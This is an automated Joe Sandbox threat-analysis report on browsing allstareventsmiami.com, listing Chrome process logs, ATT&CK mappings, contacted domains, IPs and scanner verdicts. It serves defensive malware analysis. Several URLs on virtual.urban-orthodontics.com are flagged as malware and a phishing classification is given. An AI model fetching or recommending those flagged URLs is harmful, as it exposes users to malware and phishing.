Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2004,i,14870287562588647609,10702745418824488162,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2036 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2004,i,14870287562588647609,10702745418824488162,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3416 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://allstareventsmiami.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2004,i,14870287562588647609,10702745418824488162,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2036 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2004,i,14870287562588647609,10702745418824488162,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3416 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://allstareventsmiami.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/fullwidth/skin.css	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/fullwidth/skin.png	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/js/wp-embed.min.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/js/thickbox/thickbox.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/contact-form-7-allstar/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3/standard/css/responsive_mode_3.dev.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3/core/css/codetempIcons/style.css?ver=2.0.0	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2024/11/2024-Jr-PGA-1536x410.jpg	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/d/McXQzRfzQT0SZvQcAwfwSHeS1VyT4xFp14NBmUQy4DkmguVd8+LgPRJm9b0W5/TdF6OACBeTwUin0+D4N6MgaHcS4B0WE=	100%	Avira URL Cloud	malware
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/jquery.sharrre.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2025/02/2025-coloring-wall.jpg	0%	Avira URL Cloud	safe
http://feeds.delicious.com/v2/json/urlinfo/data?url=	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3/standard/css/frontend.dev.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/cforms2/styling/minimal.css?ver=15.0.2	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/css/dist/editor/style.min.css?ver=5.3	0%	Avira URL Cloud	safe
http://services.digg.com/2.0/story.getInfo?links=	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/kodda_user_style.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105	0%	Avira URL Cloud	safe
https://layerslider.com/licensing/	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2016/08/ase-new-logo-2.png	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/easy-fancybox/css/jquery.fancybox.min.css?ver=1.3.24	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/css/dist/block-editor/style.min.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/captainform/admin/gutenberg/blocks.style.build.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/custom-css-js/2612.css?v=5230	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2024/01/20234-Fair-Slide-3k-1-scaled.jpg	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/resources/font-awesome/fonts/fontawesome-webfont.woff?v=4.0.0	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2025/02/Deluxe-Carousel-3.jpg	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/js/bootstrap-wp.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/themes/blazemag_original/style.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/fullwidth/loading.gif	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2025/02/2025-Mechaical-bull-red-sm.jpg	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3//standard/css/pie/PIE.php);	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2020/09/email_new.png	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/js/underscore.min.js?ver=1.8.3	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/CdqKfnL46Rdt+LBMP+mmXHqu7w4r4KgSaLTuF2e91Q19u/4NK/aoDX34sE0l+PhcM/juGWqgqAM=	100%	Avira URL Cloud	malware
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/jquery.cycle2.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2024/07/2024-big-top-banner-scaled.jpg	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/js/layerslider.kreaturamedia.jquery.js?ver=7.9.5	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/css/layerslider.css?ver=7.9.5	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/resources/bootstrap/css/bootstrap.min.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/themes/blazemag_original/wpbakery/js_composer/assets/css/js_composer_front.css?ver=3.6.14.1	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/js/shortcode.min.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-includes/css/dist/nux/style.min.css?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/jquery.inview.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2025/01/2025-ROLLER-SKATING-RINK-1536x410.jpg	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/contact-form-7-allstar/includes/css/styles.css?ver=4.0.2	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/inflatableoffice//io_styles.css?ver=5.3	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/11wmPKx+RVWzfhwO4W8KHqQoQ0z1ZgRduT1KRa05eVqnfgoepX4cHrE/Tk6mfls=	100%	Avira URL Cloud	malware
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/tfscripts.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/popup-for-contact-form-7/js/pfcf-script.js?ver=5.3	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/uploads/2025/02/2025-home-page-FEBRUARY-scaled.png	0%	Avira URL Cloud	safe
http://malsup.com/jquery/form/	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/easy-fancybox/js/jquery.fancybox.min.js?ver=1.3.24	0%	Avira URL Cloud	safe
https://virtual.urban-orthodontics.com/m8csmeDlT/D/5RarrfQAu+izSem5/Q71+qlI8PWgc+rvpljquesO6u/lFqi35V67oeVc/fqwRfzqvVz/4eVR	100%	Avira URL Cloud	malware
https://virtual.urban-orthodontics.com/0/OdxajR/qy30af35cCx56CH+LXxyb+psp35rL2UwqO6n/jn/9Hv5+nR8KS8ifqvtNHg	100%	Avira URL Cloud	malware
https://allstareventsmiami.com/wp-includes/js/thickbox/loadingAnimation.gif	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/popup-for-contact-form-7/css/pfcf-style.css?ver=5.3	0%	Avira URL Cloud	safe
http://www.delicious.com/static/img/delicious.small.gif	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/plugins/contact-form-7-allstar/includes/js/scripts.js?ver=4.0.2	0%	Avira URL Cloud	safe
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/resources/glyphicons/css/bootstrap-glyphicons.css?ver=5.3	0%	Avira URL Cloud	safe
http://jquery.malsup.com/cycle2/api	0%	Avira URL Cloud	safe
http://developer.linkedin.com/plugins/share-button	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
inflatableoffice.com	208.92.218.146	true	false	unknown
groundrats.org	46.173.214.32	true	false	high
1667503734.rsc.cdn77.org	169.150.255.180	true	false	high
e39296.f.akamaiedge.net	2.19.96.75	true	false	high
rental.software	208.92.218.149	true	false	high
virtual.urban-orthodontics.com	185.76.79.50	true	false	high
beacons-handoff.gcp.gvt2.com	142.251.143.67	true	false	high
use.fontawesome.com.cdn.cloudflare.net	172.67.142.245	true	false	high
api.userway.org	44.225.222.74	true	false	high
e39296.b.akamaiedge.net	2.19.120.82	true	false	high
allstareventsmiami.com	74.208.236.37	true	false	high
www.google.com	142.250.186.132	true	false	high
s.w.org	192.0.77.48	true	false	high
connect.livechatinc.com	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
secure.livechatinc.com	unknown	unknown	false	high
www.inflatableoffice.com	unknown	unknown	false	unknown
api.livechatinc.com	unknown	unknown	false	high
accounts.livechatinc.com	unknown	unknown	false	high
cdn.livechatinc.com	unknown	unknown	false	high
cdn.userway.org	unknown	unknown	false	high
use.fontawesome.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.livechatinc.com/widget/static/js/12.DJPUQwQu.chunk.js	false		high
https://api.livechatinc.com/v3.4/customer/action/get_localization?organization_id=8b92b122-f7c1-484f-aa97-1a2052d112f3&version=acfe0cc3bdca3a685b168491bbee4cfb&language=en&group_id=0&jsonp=__lc_localization	false		high
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/fullwidth/skin.png	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3/core/css/codetempIcons/style.css?ver=2.0.0	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-includes/js/thickbox/thickbox.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-includes/js/wp-embed.min.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://virtual.urban-orthodontics.com/d/McXQzRfzQT0SZvQcAwfwSHeS1VyT4xFp14NBmUQy4DkmguVd8+LgPRJm9b0W5/TdF6OACBeTwUin0+D4N6MgaHcS4B0WE=	true	Avira URL Cloud: malware	unknown
https://rental.software/include/iotracking.php	false		high
https://allstareventsmiami.com/wp-content/plugins/contact-form-7-allstar/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3/standard/css/responsive_mode_3.dev.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/fullwidth/skin.css	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2024/11/2024-Jr-PGA-1536x410.jpg	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/jquery.sharrre.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2025/02/2025-coloring-wall.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.livechatinc.com/widget/static/js/4.C_rgEAoe.chunk.js	false		high
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3/standard/css/frontend.dev.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/cforms2/styling/minimal.css?ver=15.0.2	false	Avira URL Cloud: safe	unknown
https://use.fontawesome.com/releases/v5.9.0/css/all.css?ver=5.3	false		high
https://allstareventsmiami.com/wp-content/uploads/kodda_user_style.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-includes/js/thickbox/thickbox.js?ver=3.1-20121105	false	Avira URL Cloud: safe	unknown
https://cdn.userway.org/widgetapp/2025-03-11-08-31-12/remediation/remediation_1741681872888.js	false		high
https://allstareventsmiami.com/wp-includes/css/dist/editor/style.min.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://cdn.livechatinc.com/tracking.js	false		high
https://allstareventsmiami.com/wp-content/uploads/2016/08/ase-new-logo-2.png	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/easy-fancybox/css/jquery.fancybox.min.css?ver=1.3.24	false	Avira URL Cloud: safe	unknown
https://cdn.livechatinc.com/widget/static/js/1.DHlfGmX-.chunk.js	false		high
https://allstareventsmiami.com/wp-includes/css/dist/block-editor/style.min.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/style.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2024/01/20234-Fair-Slide-3k-1-scaled.jpg	false	Avira URL Cloud: safe	unknown
https://cdn.livechatinc.com/widget/static/js/8.qYTqns9Q.chunk.js	false		high
https://allstareventsmiami.com/wp-content/plugins/captainform/admin/gutenberg/blocks.style.build.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/custom-css-js/2612.css?v=5230	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/js/bootstrap-wp.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://secure.livechatinc.com/customer/action/open_chat?license_id=12733170&group=0&embedded=1&widget_version=3&unique_groups=0&organizationId=8b92b122-f7c1-484f-aa97-1a2052d112f3&use_parent_storage=1	false		high
https://allstareventsmiami.com/wp-content/uploads/2025/02/Deluxe-Carousel-3.jpg	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/resources/font-awesome/fonts/fontawesome-webfont.woff?v=4.0.0	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/skins/fullwidth/loading.gif	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2025/02/2025-Mechaical-bull-red-sm.jpg	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2020/09/email_new.png	false	Avira URL Cloud: safe	unknown
https://cdn.livechatinc.com/widget/static/js/10.B9w-_AZn.chunk.js	false		high
https://virtual.urban-orthodontics.com/CdqKfnL46Rdt+LBMP+mmXHqu7w4r4KgSaLTuF2e91Q19u/4NK/aoDX34sE0l+PhcM/juGWqgqAM=	true	Avira URL Cloud: malware	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/resources/bootstrap/css/bootstrap.min.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/jquery.cycle2.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://api.livechatinc.com/v3.4/customer/action/get_configuration?organization_id=8b92b122-f7c1-484f-aa97-1a2052d112f3&version=1627.0.3.80.2.4.5.6.1.1.1.7.1&group_id=0&jsonp=__lc_static_config	false		high
https://allstareventsmiami.com/wp-includes/js/underscore.min.js?ver=1.8.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2024/07/2024-big-top-banner-scaled.jpg	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/css/layerslider.css?ver=7.9.5	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/LayerSlider/assets/static/layerslider/js/layerslider.kreaturamedia.jquery.js?ver=7.9.5	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-includes/js/shortcode.min.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-includes/css/dist/nux/style.min.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://api.userway.org/api/a11y-data/v0/page/https%3A%2F%2Fallstareventsmiami.com%2F/DESKTOP/WIDGET_OFF/status	false		high
https://allstareventsmiami.com/wp-content/themes/blazemag_original/wpbakery/js_composer/assets/css/js_composer_front.css?ver=3.6.14.1	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/inflatableoffice//io_styles.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/tfscripts.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2025/01/2025-ROLLER-SKATING-RINK-1536x410.jpg	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/jquery.inview.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/	false		unknown
https://allstareventsmiami.com/wp-content/plugins/contact-form-7-allstar/includes/css/styles.css?ver=4.0.2	false	Avira URL Cloud: safe	unknown
https://api.livechatinc.com/v3.5/customer/rtm/ws?organization_id=8b92b122-f7c1-484f-aa97-1a2052d112f3	false		high
https://virtual.urban-orthodontics.com/11wmPKx+RVWzfhwO4W8KHqQoQ0z1ZgRduT1KRa05eVqnfgoepX4cHrE/Tk6mfls=	true	Avira URL Cloud: malware	unknown
https://allstareventsmiami.com/wp-content/plugins/popup-for-contact-form-7/js/pfcf-script.js?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/uploads/2025/02/2025-home-page-FEBRUARY-scaled.png	false	Avira URL Cloud: safe	unknown
https://cdn.userway.org/widgetapp/images/spin_wh.svg	false		high
https://allstareventsmiami.com/wp-content/plugins/easy-fancybox/js/jquery.fancybox.min.js?ver=1.3.24	false	Avira URL Cloud: safe	unknown
https://virtual.urban-orthodontics.com/0/OdxajR/qy30af35cCx56CH+LXxyb+psp35rL2UwqO6n/jn/9Hv5+nR8KS8ifqvtNHg	true	Avira URL Cloud: malware	unknown
https://virtual.urban-orthodontics.com/m8csmeDlT/D/5RarrfQAu+izSem5/Q71+qlI8PWgc+rvpljquesO6u/lFqi35V67oeVc/fqwRfzqvVz/4eVR	true	Avira URL Cloud: malware	unknown
https://allstareventsmiami.com/wp-includes/js/thickbox/loadingAnimation.gif	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/popup-for-contact-form-7/css/pfcf-style.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/themes/blazemag_original/includes/resources/glyphicons/css/bootstrap-glyphicons.css?ver=5.3	false	Avira URL Cloud: safe	unknown
https://allstareventsmiami.com/wp-content/plugins/contact-form-7-allstar/includes/js/scripts.js?ver=4.0.2	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.stumbleupon.com/badge/?url=	chromecache_293.1.dr	false		high
https://stats.g.doubleclick.net/g/collect	chromecache_192.1.dr	false		high
https://cdnx.livechatinc.com/website/media/img/fav.ico	chromecache_316.1.dr	false		high
http://www.stumbleupon.com/badges/	chromecache_293.1.dr	false		high
https://ampcid.google.com/v1/publisher:getClientId	chromecache_267.1.dr	false		high
http://www.themeforest.net/user/ThemeFlames	chromecache_272.1.dr	false		high
https://fontawesome.com	chromecache_301.1.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_237.1.dr	false		high
http://feeds.delicious.com/v2/json/urlinfo/data?url=	chromecache_293.1.dr	false	Avira URL Cloud: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_267.1.dr	false		high
http://services.digg.com/2.0/story.getInfo?links=	chromecache_293.1.dr	false	Avira URL Cloud: safe	unknown
https://layerslider.com/licensing/	chromecache_299.1.dr, chromecache_296.1.dr, chromecache_273.1.dr, chromecache_173.1.dr	false	Avira URL Cloud: safe	unknown
http://jquery.malsup.com/cycle2/	chromecache_223.1.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_192.1.dr	false		high
https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3//standard/css/pie/PIE.php);	chromecache_244.1.dr	false	Avira URL Cloud: safe	unknown
https://cdn.userway.org/	chromecache_323.1.dr	false		high
http://assets.pinterest.com/js/pinit.js	chromecache_276.1.dr	false		high
https://twitter.com/intent/tweet?text=	chromecache_293.1.dr	false		high
https://fontawesome.com/license/free	chromecache_301.1.dr	false		high
https://reactjs.org/link/react-polyfills	chromecache_219.1.dr	false		high
http://www.google.com/webmasters/	chromecache_293.1.dr	false		high
http://www.stumbleupon.com/services/1.01/badge.getinfo?url=	chromecache_293.1.dr	false		high
http://malsup.com/jquery/form/	chromecache_254.1.dr	false	Avira URL Cloud: safe	unknown
https://cdn.livechatinc.com/direct-link/livechat-chat-with-us.png	chromecache_316.1.dr	false		high
http://creativecommons.org/ns#	chromecache_190.1.dr, chromecache_235.1.dr	false		high
https://td.doubleclick.net	chromecache_192.1.dr	false		high
http://api.pinterest.com/v1/urls/count.json?url=	chromecache_293.1.dr	false		high
http://www.delicious.com/static/img/delicious.small.gif	chromecache_293.1.dr	false	Avira URL Cloud: safe	unknown
http://jquery.malsup.com/cycle2/api	chromecache_223.1.dr	false	Avira URL Cloud: safe	unknown
http://developer.linkedin.com/plugins/share-button	chromecache_293.1.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
95.101.182.43	unknown	European Union	20940	AKAMAI-ASN1EU	false
185.76.79.50	virtual.urban-orthodontics.com	Spain	50129	TVHORADADAES	false
208.92.218.149	rental.software	United States	53292	MWAYUS	false
172.67.142.245	use.fontawesome.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
44.225.222.74	api.userway.org	United States	16509	AMAZON-02US	false
46.173.214.32	groundrats.org	Russian Federation	47196	GARANT-PARK-INTERNETRU	false
2.19.120.82	e39296.b.akamaiedge.net	European Union	16625	AKAMAI-ASUS	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
74.208.236.37	allstareventsmiami.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
92.123.12.13	unknown	European Union	16625	AKAMAI-ASUS	false
52.88.44.142	unknown	United States	16509	AMAZON-02US	false
208.92.218.146	inflatableoffice.com	United States	53292	MWAYUS	false
2.19.96.75	e39296.f.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false
95.101.182.115	unknown	European Union	20940	AKAMAI-ASN1EU	false
169.150.255.184	unknown	United States	2711	SPIRITTEL-ASUS	false
169.150.255.180	1667503734.rsc.cdn77.org	United States	2711	SPIRITTEL-ASUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638540
Start date and time:	2025-03-14 14:05:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://allstareventsmiami.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@25/294@59/17
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
